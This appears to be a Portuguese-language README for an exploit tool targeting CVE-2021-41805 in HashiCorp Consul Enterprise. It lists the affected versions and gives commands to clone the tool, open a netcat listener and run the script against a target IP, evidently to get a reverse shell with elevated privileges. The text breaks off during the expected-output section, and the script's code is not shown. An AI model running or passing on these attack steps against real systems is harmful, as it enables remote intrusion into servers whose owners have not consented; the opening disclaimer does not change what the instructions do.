CVE-2021-41805 - HashiCorp Consul Enterprise RCE

[!WARNING] AVISO LEGAL: Esta ferramenta é estritamente para fins educacionais APENAS! O uso desta ferramenta para atacar alvos sem consentimento prévio mútuo é ILEGAL. É responsabilidade do usuário obedecer a todas as leis aplicáveis ao usar esta ferramenta. O desenvolvedor desta ferramenta não assume nenhuma responsabilidade e não é responsável por qualquer uso indevido ou dano causado por este programa.

Sobre o CVE

Um token ACL (com as permissões padrão operator:write) em um namespace pode ser usado para elevação não intencional de privilégios em um namespace diferente. Isso pode ser abusado para obter Execução Remota de Código (RCE) com privilégios elevados.

Versões Afetadas

• < 1.8.17
• 1.9.x < 1.9.11
• 1.10.x < 1.10.4

Instalação e Execução do Script

• Primeiro, clone o repositório:
  git clone https://github.com/acfirthh/CVE-2021-41805.git
• Mude o diretório para o repositório clonado:
  cd CVE-2021-41805
• Inicie um listener simples:
  nc -nvlp <PORTA_LISTENER>
• Execute o script:
  python3 CVE-2021-41805.py -r <IP_ALVO> -rp <PORTA_ALVO> -l <IP_LISTENER> -lp <PORTA_LISTENER> [OPCIONAL: -t <token ACL> -v (verbose) -s (usar SSL)]

Saída Esperada

Executar o exploit com os argumentos básicos: -r [IP_ALVO], -rp [PORTA_ALVO], -l [IP_LISTENER], -lp [PORTA_LISTENER] (-t [TOKEN_ACL], -s [Usar SSL]) fornecerá uma saída básica como:

[*] A requisição PUT foi feita com sucesso. Verifique seu listener...

Executar o exploit com os argumentos básicos mais -v [VERBOSE] fornecerá uma saída detalhada:

Se ocorrer um erro ao executar o exploit e o argumento -v for especificado, a saída será algo como: